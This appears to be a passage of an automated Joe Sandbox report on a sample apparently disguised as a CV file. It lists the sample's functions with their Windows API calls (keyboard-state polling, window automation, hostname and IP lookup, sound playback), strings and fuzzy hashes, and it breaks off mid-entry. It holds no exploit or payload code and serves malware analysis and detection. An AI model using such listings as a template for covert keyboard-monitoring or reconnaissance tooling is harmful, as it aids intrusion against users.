mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 003C7B8C

Strings

play PlayMe, xrefs: 003C7B87
alias PlayMe, xrefs: 003C7B1B
play PlayMe wait, xrefs: 003C7B76
status PlayMe mode, xrefs: 003C7B3D
open , xrefs: 003C7AF1
close PlayMe, xrefs: 003C7B53, 003C7B80

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: b432651fd4ee1e0d99e3ab1be91eeb1252ac9cea09bfb17589b87d303b09c352
Instruction ID: 2e61513dda91851e09cbadd633f181d797d6b839f559b9df5cd80132909adc9f
Opcode Fuzzy Hash: b432651fd4ee1e0d99e3ab1be91eeb1252ac9cea09bfb17589b87d303b09c352
Instruction Fuzzy Hash: 4E11C4A1A5025979D721BB61CC4AEFFBA7CEBD5B01F10045A7811AB0C1DB741E48CBB0

Function 003C778F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 003C7794

Part of subcall function 0039DC38: timeGetTime.WINMM(?,75C0B400,003F58AB), ref: 0039DC3C

Sleep.KERNEL32(0000000A), ref: 003C77C0
EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 003C77E4
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 003C7806
SetActiveWindow.USER32 ref: 003C7825
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 003C7833
SendMessageW.USER32(00000010,00000000,00000000), ref: 003C7852
Sleep.KERNEL32(000000FA), ref: 003C785D
IsWindow.USER32 ref: 003C7869
EndDialog.USER32(00000000), ref: 003C787A

Strings

BUTTON, xrefs: 003C77F8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 18c6623009c2283ec5ff6e391cc3d6272020cc34cb854b9fa8bbc15b54c17ad9
Instruction ID: d9d2a134cda95cc50e73d41cc33d9d55762f28a181f2593ead2f5aa344459116
Opcode Fuzzy Hash: 18c6623009c2283ec5ff6e391cc3d6272020cc34cb854b9fa8bbc15b54c17ad9
Instruction Fuzzy Hash: 2E213B75604209AFE7065FA0ED8AF263F79FB45B4AB000438FD06E6162CB719D18DF28

Function 003D02EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON

Download Yara Rule

APIs

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

CoInitialize.OLE32(00000000), ref: 003D034B
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 003D03DE
SHGetDesktopFolder.SHELL32(?), ref: 003D03F2
CoCreateInstance.OLE32(0040DA8C,00000000,00000001,00433CF8,?), ref: 003D043E
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 003D04AD
CoTaskMemFree.OLE32(?,?), ref: 003D0505
_memset.LIBCMT ref: 003D0542
SHBrowseForFolderW.SHELL32(?), ref: 003D057E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 003D05A1
CoTaskMemFree.OLE32(00000000), ref: 003D05A8
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 003D05DF
CoUninitialize.OLE32(00000001,00000000), ref: 003D05E1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 4b4be3292fea21d3a3ab4c15d96ff04a8104175917f3ace6690490bd2ccbf934
Instruction ID: 97c07ba5714c62284b16fd0f48a9c689f9c192ae4ec57ba9f741663c70997a7c
Opcode Fuzzy Hash: 4b4be3292fea21d3a3ab4c15d96ff04a8104175917f3ace6690490bd2ccbf934
Instruction Fuzzy Hash: 8DB1D975A00208AFDB05EFA4D888EAEBBB9EF49704F1484A9E815EB251D770ED45CB50

Function 003C2E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 003C2ED6
SetKeyboardState.USER32(?), ref: 003C2F41
GetAsyncKeyState.USER32(000000A0), ref: 003C2F61
GetKeyState.USER32(000000A0), ref: 003C2F78
GetAsyncKeyState.USER32(000000A1), ref: 003C2FA7
GetKeyState.USER32(000000A1), ref: 003C2FB8
GetAsyncKeyState.USER32(00000011), ref: 003C2FE4
GetKeyState.USER32(00000011), ref: 003C2FF2
GetAsyncKeyState.USER32(00000012), ref: 003C301B
GetKeyState.USER32(00000012), ref: 003C3029
GetAsyncKeyState.USER32(0000005B), ref: 003C3052
GetKeyState.USER32(0000005B), ref: 003C3060

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 6a7477d6041e78fbf411e5ccaef94daa65012952f3e19748d75908fa34f24160
Instruction ID: 2a31b7026166159fc8a8d6a93166bb2a269d4f76e94c04b3f30ae9b3cc3d18ad
Opcode Fuzzy Hash: 6a7477d6041e78fbf411e5ccaef94daa65012952f3e19748d75908fa34f24160
Instruction Fuzzy Hash: 2F51E62590479829FB37EBB48810FEABFF49F11340F09859DD5C29A1C2DA549F8CC7A6

Function 003BED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 003BED1E
GetWindowRect.USER32(00000000,?), ref: 003BED30
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 003BED8E
GetDlgItem.USER32(?,00000002), ref: 003BED99
GetWindowRect.USER32(00000000,?), ref: 003BEDAB
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 003BEE01
GetDlgItem.USER32(?,000003E9), ref: 003BEE0F
GetWindowRect.USER32(00000000,?), ref: 003BEE20
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 003BEE63
GetDlgItem.USER32(?,000003EA), ref: 003BEE71
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 003BEE8E
InvalidateRect.USER32(?,00000000,00000001), ref: 003BEE9B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: bf205e8f37c3c66277e7845ee331012de81783befa173610d6fdefb9818c60ee
Instruction ID: 14c1dd1e9eb53e3d7b22ed232f53e9c3764d05da68a8b95c39a4fa82bce134d0
Opcode Fuzzy Hash: bf205e8f37c3c66277e7845ee331012de81783befa173610d6fdefb9818c60ee
Instruction Fuzzy Hash: B8512F71B00205AFDB18CFACCD85AAEBBBAEB88304F15852DF619E7290D771DD048B14

Function 0039B73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0039B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,0039B759,?,00000000,?,?,?,?,0039B72B,00000000,?), ref: 0039BA58

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0039B72B), ref: 0039B7F6
KillTimer.USER32(00000000,?,00000000,?,?,?,?,0039B72B,00000000,?,?,0039B2EF,?,?), ref: 0039B88D
DestroyAcceleratorTable.USER32(00000000), ref: 003FD8A6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,0039B72B,00000000,?,?,0039B2EF,?,?), ref: 003FD8D7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,0039B72B,00000000,?,?,0039B2EF,?,?), ref: 003FD8EE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,0039B72B,00000000,?,?,0039B2EF,?,?), ref: 003FD90A
DeleteObject.GDI32(00000000), ref: 003FD91C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 8e00181432d562068813d3eb2808cb2a4646885a708e3de2d075903e31d275ad
Instruction ID: 0a4363cb240fab6d63ff67376cbd68dd997dd3af2561e1dd582d05fa2ae0298a
Opcode Fuzzy Hash: 8e00181432d562068813d3eb2808cb2a4646885a708e3de2d075903e31d275ad
Instruction Fuzzy Hash: 6561AD30501604DFDF279F94EA88B36B7FAFF85311F16462DE5869AA70C770A880CB48

Function 0039B40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 0039B526: GetWindowLongW.USER32(?,000000EB), ref: 0039B537

GetSysColor.USER32(0000000F), ref: 0039B438

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 2eb821d0fb6984563071f09c506f43a9ba2a7880441ae33614118078c0075c50
Instruction ID: 14f7685c5a4231dffc3a2321e9207799bf131a1cdac585321c1155a8faeec35c
Opcode Fuzzy Hash: 2eb821d0fb6984563071f09c506f43a9ba2a7880441ae33614118078c0075c50
Instruction Fuzzy Hash: 2D41D530400104AFDF226F69EE89BB97B66EB46730F164271FE659E1E6C7308C41EB21

Function 003C690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 003C6923
_wcscpy.LIBCMT ref: 003C6934
__wsplitpath.LIBCMT ref: 003C6958
__wsplitpath.LIBCMT ref: 003C6979
_wcscpy.LIBCMT ref: 003C699B
_wcscpy.LIBCMT ref: 003C69B9
_wcscpy.LIBCMT ref: 003C69C7
_wcscat.LIBCMT ref: 003C69D6
_wcscat.LIBCMT ref: 003C6A2B
_wcscat.LIBCMT ref: 003C6A61
_wcscat.LIBCMT ref: 003C6A73

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: bf641c17a67360a916e77e3d88d1da67ff2ddd3f77a5bb3d67bf824494e94d25
Instruction ID: fb44e9528d8f3827d4131ec546ac3a8fb506df97fa29f0368ffa62630f247b15
Opcode Fuzzy Hash: bf641c17a67360a916e77e3d88d1da67ff2ddd3f77a5bb3d67bf824494e94d25
Instruction Fuzzy Hash: 5E414FB684521CAECF66EB90CC42DDB73BCEB45310F0041A6B649E6041EA30ABE58F54

Function 003CD76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(0041DC00,0041DC00,0041DC00), ref: 003CD7CE
GetDriveTypeW.KERNEL32(?,00433A70,00000061), ref: 003CD898
_wcscpy.LIBCMT ref: 003CD8C2

Strings

removable, xrefs: 003CD800
unknown, xrefs: 003CD859
network, xrefs: 003CD82C
ramdisk, xrefs: 003CD842
cdrom, xrefs: 003CD7EA
all, xrefs: 003CD7D4
fixed, xrefs: 003CD816

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 46de13e14cd437cf1949c0c316538989b1aaa930e11612c90fd4cfb120c4196e
Instruction ID: 786404997359ee286fff51faa49eb153373082091a789be16f3fdede5a446054
Opcode Fuzzy Hash: 46de13e14cd437cf1949c0c316538989b1aaa930e11612c90fd4cfb120c4196e
Instruction Fuzzy Hash: 2A514F35504300AFC712FF14D891FAAB7A5EF84314F14896EF59A9B2A2EB71ED05CB42

Function 0038936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 003893AB
__itow.LIBCMT ref: 003893DF

Part of subcall function 003A1557: _xtow@16.LIBCMT ref: 003A1578

Strings

False, xrefs: 003F4C93
%.15g, xrefs: 003893A5
True, xrefs: 003F4C8C
0x%p, xrefs: 003F4CAD

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: 683398bd6afebc13397c255fbd3913f0f8d2b3fefe91b9175a66c16924718551
Instruction ID: 8a93d9bb169e0f13f87af8d10c068917d09005d7a6e8ee012adf67e1a76cf2a1
Opcode Fuzzy Hash: 683398bd6afebc13397c255fbd3913f0f8d2b3fefe91b9175a66c16924718551
Instruction Fuzzy Hash: E141C475504308AFDB2AEF74D942F7AB7E8EF49310F2444ABE14ADB181EA71D941CB10

Function 003EA1B6 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 003EA259
CreateCompatibleDC.GDI32(00000000), ref: 003EA260
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 003EA273
SelectObject.GDI32(00000000,00000000), ref: 003EA27B
GetPixel.GDI32(00000000,00000000,00000000), ref: 003EA286
DeleteDC.GDI32(00000000), ref: 003EA28F
GetWindowLongW.USER32(?,000000EC), ref: 003EA299
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 003EA2AD
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 003EA2B9

Strings

static, xrefs: 003EA1F1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: d0da242cb8fafd935c4ff9ba26baca0595ec3fcd0292c8bcbea8ed4f9b89c390
Instruction ID: 2625f24768e6df5405e7ab50198bc57555e5b876547c9306999e8184d756f079
Opcode Fuzzy Hash: d0da242cb8fafd935c4ff9ba26baca0595ec3fcd0292c8bcbea8ed4f9b89c390
Instruction Fuzzy Hash: 8A318D31500525ABDF125FA5DD49FEA3B69FF0D360F110724FA19A60E0CB36E815DBA8

Function 003C6F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 003C6F1D
gethostname.WSOCK32(?,00000100), ref: 003C6F37
gethostbyname.WSOCK32(?), ref: 003C6F44
_wcscpy.LIBCMT ref: 003C6F6C
inet_ntoa.WSOCK32(?), ref: 003C6F8A
_strcat.LIBCMT ref: 003C6F98
_wcscpy.LIBCMT ref: 003C6FAF
WSACleanup.WSOCK32 ref: 003C6FBD
_wcscpy.LIBCMT ref: 003C6FCB

Strings

0.0.0.0, xrefs: 003C6F66

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2620052-3771769585
Opcode ID: 2d513b454e534d7e41c91678b619e1d8bce382bffcd8b5ac1e4706aa247fa417
Instruction ID: 1ad9784448b2c1702a258840c2d4006b2b1b392ece569602b85a2904be0abec0
Opcode Fuzzy Hash: 2d513b454e534d7e41c91678b619e1d8bce382bffcd8b5ac1e4706aa247fa417
Instruction Fuzzy Hash: 65110672904119AFCB2AABB0AC0AFDA77ACEF45710F01407DF005EA081EF70DE858B64

Function 003A500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003A5047

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

__gmtime64_s.LIBCMT ref: 003A50E0
__gmtime64_s.LIBCMT ref: 003A5116
__gmtime64_s.LIBCMT ref: 003A5133
__allrem.LIBCMT ref: 003A5189
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003A51A5
__allrem.LIBCMT ref: 003A51BC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003A51DA
__allrem.LIBCMT ref: 003A51F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003A520F
__invoke_watson.LIBCMT ref: 003A5280

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
Instruction ID: 455c9aa45346114d663d3db2dde4541e6a6f19847ea38981966deddbbbbccec2
Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
Instruction Fuzzy Hash: B071F672A01B16ABD716DF78CC81BAA73A8FF12364F154629F510DB681E770DD408BD0

Function 003C4DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003C4DF8
GetMenuItemInfoW.USER32(00441708,000000FF,00000000,00000030), ref: 003C4E59
SetMenuItemInfoW.USER32(00441708,00000004,00000000,00000030), ref: 003C4E8F
Sleep.KERNEL32(000001F4), ref: 003C4EA1
GetMenuItemCount.USER32(?), ref: 003C4EE5
GetMenuItemID.USER32(?,00000000), ref: 003C4F01
GetMenuItemID.USER32(?,-00000001), ref: 003C4F2B
GetMenuItemID.USER32(?,?), ref: 003C4F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 003C4FB6
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003C4FCA
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003C4FEB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: d1a3aeb8950d1c17f9a5f2d0013e1d3d8e3528ed624c29e115db641f7814a4ce
Instruction ID: 0faf29a3ce87dc574fd3b873d86766f9077a4f7f8c2906cd92258eee8a333bff
Opcode Fuzzy Hash: d1a3aeb8950d1c17f9a5f2d0013e1d3d8e3528ed624c29e115db641f7814a4ce
Instruction Fuzzy Hash: 5A617B75900289AFEB22CFA4DD98FAE7BB8EB45318F15006DF841E7291D731AD45CB20

Function 003E9C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 003E9C98
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 003E9C9B
GetWindowLongW.USER32(?,000000F0), ref: 003E9CBF
_memset.LIBCMT ref: 003E9CD0
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 003E9CE2
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 003E9D5A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 77aaceb355adf949c8ef320fdd2444d69dd9712a4714513bab1e29f8f7d13d9d
